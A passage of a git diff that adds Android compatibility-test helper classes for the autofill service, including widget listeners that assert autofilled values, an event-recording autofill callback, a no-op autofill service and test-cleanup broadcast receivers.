+        this.timePicker = timePicker;
+        this.expectedHour = expectedHour;
+        this.expectedMinute = expectedMinute;
+        this.latch = new CountDownLatch(times);
+    }
+
+    @Override
+    public void onTimeChanged(TimePicker view, int hour, int minute) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on TimePicker %s", FILL_TIMEOUT.ms(), name)
+                .that(set).isTrue();
+        assertWithMessage("Wrong hour on TimePicker %s", name)
+                .that(timePicker.getHour()).isEqualTo(expectedHour);
+        assertWithMessage("Wrong minute on TimePicker %s", name)
+                .that(timePicker.getMinute()).isEqualTo(expectedMinute);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillCallback.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillCallback.java
new file mode 100644
index 0000000..7c43aab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillCallback.java
@@ -0,0 +1,203 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Helper.callbackEventAsString;
+import static android.autofillservice.cts.testcore.Timeouts.CALLBACK_NOT_CALLED_TIMEOUT_MS;
+import static android.autofillservice.cts.testcore.Timeouts.CONNECTION_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillManager.AutofillCallback;
+
+import com.android.compatibility.common.util.RetryableException;
+import com.android.compatibility.common.util.Timeout;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link AutofillCallback} used to recover events during tests.
+ */
+public final class MyAutofillCallback extends AutofillCallback {
+
+    private static final String TAG = "MyAutofillCallback";
+    private final BlockingQueue<MyEvent> mEvents = new LinkedBlockingQueue<>();
+
+    public static final Timeout MY_TIMEOUT = CONNECTION_TIMEOUT;
+
+    // We must handle all requests in a separate thread as the service's main thread is the also
+    // the UI thread of the test process and we don't want to hose it in case of failures here
+    private static final HandlerThread sMyThread = new HandlerThread("MyCallbackThread");
+    private final Handler mHandler;
+
+    static {
+        Log.i(TAG, "Starting thread " + sMyThread);
+        sMyThread.start();
+    }
+
+    public MyAutofillCallback() {
+        mHandler = Handler.createAsync(sMyThread.getLooper());
+    }
+
+    @Override
+    public void onAutofillEvent(View view, int event) {
+        mHandler.post(() -> offer(new MyEvent(view, event)));
+    }
+
+    @Override
+    public void onAutofillEvent(View view, int childId, int event) {
+        mHandler.post(() -> offer(new MyEvent(view, childId, event)));
+    }
+
+    private void offer(MyEvent event) {
+        Log.v(TAG, "offer: " + event);
+        Helper.offer(mEvents, event, MY_TIMEOUT.ms());
+    }
+
+    /**
+     * Gets the next available event or fail if it times out.
+     */
+    public MyEvent getEvent() throws InterruptedException {
+        final MyEvent event = mEvents.poll(CONNECTION_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        if (event == null) {
+            throw new RetryableException(CONNECTION_TIMEOUT, "no event");
+        }
+        return event;
+    }
+
+    /**
+     * Assert no more events were received.
+     */
+    public void assertNotCalled() throws InterruptedException {
+        final MyEvent event = mEvents.poll(CALLBACK_NOT_CALLED_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (event != null) {
+            // Not retryable.
+            throw new IllegalStateException("should not have received " + event);
+        }
+    }
+
+    /**
+     * Used to assert there is no event left behind.
+     */
+    public void assertNumberUnhandledEvents(int expected) {
+        assertWithMessage("Invalid number of events left: %s", mEvents).that(mEvents.size())
+                .isEqualTo(expected);
+    }
+
+    /**
+     * Convenience method to assert an UI shown event for the given view was received.
+     */
+    public MyEvent assertUiShownEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_SHOWN);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+            .isSameInstanceAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI shown event for the given virtual view was received.
+     */
+    public void assertUiShownEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiShownEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+            .isEqualTo(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI shown event a virtual view was received.
+     *
+     * @return virtual child id
+     */
+    public int assertUiShownEventForVirtualChild(View expectedView) throws InterruptedException {
+        final MyEvent event = assertUiShownEvent(expectedView);
+        return event.childId;
+    }
+
+    /**
+     * Convenience method to assert an UI hidden event for the given view was received.
+     */
+    public MyEvent assertUiHiddenEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_HIDDEN);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+                .isSameInstanceAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI hidden event for the given view was received.
+     */
+    public void assertUiHiddenEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiHiddenEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+                .isEqualTo(expectedChildId);
+    }
+
+    /**
+     * Convenience method to assert an UI unavailable event for the given view was received.
+     */
+    public MyEvent assertUiUnavailableEvent(View expectedView) throws InterruptedException {
+        final MyEvent event = getEvent();
+        assertWithMessage("Invalid type on event %s", event).that(event.event)
+                .isEqualTo(EVENT_INPUT_UNAVAILABLE);
+        assertWithMessage("Invalid view on event %s", event).that(event.view)
+                .isSameInstanceAs(expectedView);
+        return event;
+    }
+
+    /**
+     * Convenience method to assert an UI unavailable event for the given view was received.
+     */
+    public void assertUiUnavailableEvent(View expectedView, int expectedChildId)
+            throws InterruptedException {
+        final MyEvent event = assertUiUnavailableEvent(expectedView);
+        assertWithMessage("Invalid child on event %s", event).that(event.childId)
+                .isEqualTo(expectedChildId);
+    }
+
+    private static final class MyEvent {
+        public final View view;
+        public final int childId;
+        public final int event;
+
+        MyEvent(View view, int event) {
+            this(view, View.NO_ID, event);
+        }
+
+        MyEvent(View view, int childId, int event) {
+            this.view = view;
+            this.childId = childId;
+            this.event = event;
+        }
+
+        @Override
+        public String toString() {
+            return callbackEventAsString(event) + ": " + view + " (childId: " + childId + ")";
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillId.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillId.java
new file mode 100644
index 0000000..8e15b0a
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyAutofillId.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.view.autofill.AutofillId;
+
+public final class MyAutofillId implements Parcelable {
+
+    private final AutofillId mId;
+
+    public MyAutofillId(AutofillId id) {
+        mId = id;
+    }
+
+    @Override
+    public int hashCode() {
+        final int prime = 31;
+        int result = 1;
+        result = prime * result + ((mId == null) ? 0 : mId.hashCode());
+        return result;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (this == obj) return true;
+        if (obj == null) return false;
+        if (getClass() != obj.getClass()) return false;
+        MyAutofillId other = (MyAutofillId) obj;
+        if (mId == null) {
+            if (other.mId != null) return false;
+        } else if (!mId.equals(other.mId)) {
+            return false;
+        }
+        return true;
+    }
+
+    @Override
+    public String toString() {
+        return mId.toString();
+    }
+
+    @Override
+    public int describeContents() {
+        return 0;
+    }
+
+    @Override
+    public void writeToParcel(Parcel dest, int flags) {
+        dest.writeParcelable(mId, flags);
+    }
+
+    public static final Creator<MyAutofillId> CREATOR = new Creator<MyAutofillId>() {
+
+        @Override
+        public MyAutofillId createFromParcel(Parcel source) {
+            return new MyAutofillId(source.readParcelable(null));
+        }
+
+        @Override
+        public MyAutofillId[] newArray(int size) {
+            return new MyAutofillId[size];
+        }
+    };
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/MyDrawable.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyDrawable.java
new file mode 100644
index 0000000..7cc5a9d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/MyDrawable.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.graphics.Canvas;
+import android.graphics.ColorFilter;
+import android.graphics.Rect;
+import android.graphics.drawable.Drawable;
+import android.util.Log;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class MyDrawable extends Drawable {
+
+    private static final String TAG = "MyDrawable";
+
+    private static CountDownLatch sLatch;
+    private static MyDrawable sInstance;
+
+    private static Rect sAutofilledBounds;
+
+    public MyDrawable() {
+        if (sInstance != null) {
+            throw new IllegalStateException("There can be only one!");
+        }
+        sInstance = this;
+    }
+
+    @Override
+    public void draw(Canvas canvas) {
+        if (sInstance != null && sAutofilledBounds == null) {
+            sAutofilledBounds = new Rect(getBounds());
+            Log.d(TAG, "Autofilled at " + sAutofilledBounds);
+            sLatch.countDown();
+        }
+    }
+
+    public static Rect getAutofilledBounds() throws InterruptedException {
+        if (sLatch == null) {
+            throw new AssertionError("sLatch should be not null");
+        }
+
+        if (!sLatch.await(Timeouts.FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+            throw new RetryableException(Timeouts.FILL_TIMEOUT, "custom drawable not drawn");
+        }
+        return sAutofilledBounds;
+    }
+
+    /**
+     * Asserts the custom drawable is not drawn.
+     */
+    public static void assertDrawableNotDrawn() throws Exception {
+        if (sLatch == null) {
+            throw new AssertionError("sLatch should be not null");
+        }
+
+        if (sLatch.await(Timeouts.DRAWABLE_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+            throw new AssertionError("custom drawable is drawn");
+        }
+    }
+
+    public static void initStatus() {
+        sLatch = new CountDownLatch(1);
+        sInstance = null;
+        sAutofilledBounds = null;
+    }
+
+    public static void clearStatus() {
+        sLatch = null;
+        sInstance = null;
+        sAutofilledBounds = null;
+    }
+
+    @Override
+    public void setAlpha(int alpha) {
+    }
+
+    @Override
+    public void setColorFilter(ColorFilter colorFilter) {
+    }
+
+    @Override
+    public int getOpacity() {
+        return 0;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/NoOpAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/NoOpAutofillService.java
new file mode 100644
index 0000000..9f098ab
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/NoOpAutofillService.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * {@link AutofillService} implementation that does not do anything...
+ */
+public class NoOpAutofillService extends AutofillService {
+
+    private static final String TAG = "NoOpAutofillService";
+
+    public static final String SERVICE_LABEL = "NoOpAutofillService";
+
+    public static final String SERVICE_NAME =
+            "android.autofillservice.cts/.testcore." + NoOpAutofillService.class.getSimpleName();
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.d(TAG, "onFillRequest()");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.d(TAG, "onFillResponse()");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCancellationSignalListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCancellationSignalListener.java
new file mode 100644
index 0000000..9670665
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCancellationSignalListener.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.CancellationSignal;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.os.CancellationSignal.OnCancelListener} used to assert that
+ * {@link android.os.CancellationSignal.OnCancelListener} was called, and just once.
+ */
+public final class OneTimeCancellationSignalListener
+        implements CancellationSignal.OnCancelListener {
+    private final CountDownLatch mLatch = new CountDownLatch(1);
+    private final long mTimeoutMs;
+
+    public OneTimeCancellationSignalListener(long timeoutMs) {
+        mTimeoutMs = timeoutMs;
+    }
+
+    public void assertOnCancelCalled() throws Exception {
+        final boolean called = mLatch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for onCancel()", mTimeoutMs)
+                .that(called).isTrue();
+    }
+
+    @Override
+    public void onCancel() {
+        mLatch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCompoundButtonListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCompoundButtonListener.java
new file mode 100644
index 0000000..2d67211
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeCompoundButtonListener.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.CompoundButton;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.CompoundButton.OnCheckedChangeListener} used to assert a
+ * {@link CompoundButton} was auto-filled properly.
+ */
+public final class OneTimeCompoundButtonListener implements CompoundButton.OnCheckedChangeListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final CompoundButton button;
+    private final boolean expected;
+
+    public OneTimeCompoundButtonListener(String name, CompoundButton button,
+            boolean expectedAutofillValue) {
+        this.name = name;
+        this.button = button;
+        this.expected = expectedAutofillValue;
+    }
+
+    @Override
+    public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on CompoundButton %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        final boolean actual = button.isChecked();
+        assertWithMessage("Wrong auto-fill value on CompoundButton %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeDateListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeDateListener.java
new file mode 100644
index 0000000..9dca760
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeDateListener.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.DatePicker;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@OnDateChangedListener} used to assert a {@link DatePicker} was auto-filled properly.
+ */
+public final class OneTimeDateListener implements DatePicker.OnDateChangedListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final DatePicker datePicker;
+    private final int expectedYear;
+    private final int expectedMonth;
+    private final int expectedDay;
+
+    public OneTimeDateListener(String name, DatePicker datePicker, int expectedYear,
+            int expectedMonth,
+            int expectedDay) {
+        this.name = name;
+        this.datePicker = datePicker;
+        this.expectedYear = expectedYear;
+        this.expectedMonth = expectedMonth;
+        this.expectedDay = expectedDay;
+    }
+
+    @Override
+    public void onDateChanged(DatePicker view, int year, int monthOfYear, int dayOfMonth) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on DatePicker %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        assertWithMessage("Wrong year on DatePicker %s", name)
+            .that(datePicker.getYear()).isEqualTo(expectedYear);
+        assertWithMessage("Wrong month on DatePicker %s", name)
+            .that(datePicker.getMonth()).isEqualTo(expectedMonth);
+        assertWithMessage("Wrong day on DatePicker %s", name)
+            .that(datePicker.getDayOfMonth()).isEqualTo(expectedDay);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeRadioGroupListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeRadioGroupListener.java
new file mode 100644
index 0000000..65d8ded
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeRadioGroupListener.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.widget.RadioGroup;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link android.widget.RadioGroup.OnCheckedChangeListener} used to assert an
+ * {@link RadioGroup} was auto-filled properly.
+ */
+public final class OneTimeRadioGroupListener implements RadioGroup.OnCheckedChangeListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final RadioGroup radioGroup;
+    private final int expected;
+
+    public OneTimeRadioGroupListener(String name, RadioGroup radioGroup,
+            int expectedAutoFilledValue) {
+        this.name = name;
+        this.radioGroup = radioGroup;
+        this.expected = expectedAutoFilledValue;
+    }
+
+    @Override
+    public void onCheckedChanged(RadioGroup group, int checkedId) {
+        latch.countDown();
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on RadioGroup %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        final int actual = radioGroup.getCheckedRadioButtonId();
+        assertWithMessage("Wrong auto-fill value on RadioGroup %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeSpinnerListener.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeSpinnerListener.java
new file mode 100644
index 0000000..1ca2cb6
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeSpinnerListener.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import static android.autofillservice.cts.testcore.Timeouts.FILL_TIMEOUT;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.view.View;
+import android.widget.AdapterView;
+import android.widget.AdapterView.OnItemSelectedListener;
+import android.widget.Spinner;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Custom {@link OnItemSelectedListener} used to assert an {@link Spinner} was auto-filled properly.
+ */
+public final class OneTimeSpinnerListener implements OnItemSelectedListener {
+    private final String name;
+    private final CountDownLatch latch = new CountDownLatch(1);
+    private final Spinner spinner;
+    private final int expected;
+
+    public OneTimeSpinnerListener(String name, Spinner spinner, int expectedAutoFilledValue) {
+        this.name = name;
+        this.spinner = spinner;
+        this.expected = expectedAutoFilledValue;
+    }
+
+    public void assertAutoFilled() throws Exception {
+        final boolean set = latch.await(FILL_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) on Spinner %s", FILL_TIMEOUT.ms(), name)
+            .that(set).isTrue();
+        final int actual = spinner.getSelectedItemPosition();
+        assertWithMessage("Wrong auto-fill value on Spinner %s", name)
+            .that(actual).isEqualTo(expected);
+    }
+
+    @Override
+    public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
+        latch.countDown();
+    }
+
+    @Override
+    public void onNothingSelected(AdapterView<?> parent) {
+        latch.countDown();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeTextWatcher.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeTextWatcher.java
new file mode 100644
index 0000000..35fdf49
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OneTimeTextWatcher.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
+import android.text.TextWatcher;
+import android.widget.EditText;
+
+/**
+ * Custom {@link TextWatcher} used to assert a {@link EditText} was auto-filled properly.
+ */
+public final class OneTimeTextWatcher extends MultipleTimesTextWatcher {
+
+    public OneTimeTextWatcher(String name, EditText editText, CharSequence expectedAutofillValue) {
+        super(name, 1, editText, expectedAutofillValue);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/OutOfProcessLoginActivityFinisherReceiver.java
new file mode 100644
index 0000000..09db20d
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/OutOfProcessLoginActivityFinisherReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.autofillservice.cts.activities.OutOfProcessLoginActivity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
+ */
+public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, unfinished business!");
+        OutOfProcessLoginActivity.finishIt();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/SelfDestructReceiver.java
new file mode 100644
index 0000000..ba99654
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/SelfDestructReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.testcore;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that kills its process.
+ */
+public class SelfDestructReceiver extends BroadcastReceiver {
+
+    private static final String TAG = "SelfDestructReceiver";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Log.i(TAG, "Goodbye, cruel world!");
+        Process.killProcess(Process.myPid());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Timeouts.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Timeouts.java
new file mode 100644
index 0000000..7d4e140
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Timeouts.java
@@ -0,0 +1,137 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.testcore;
+
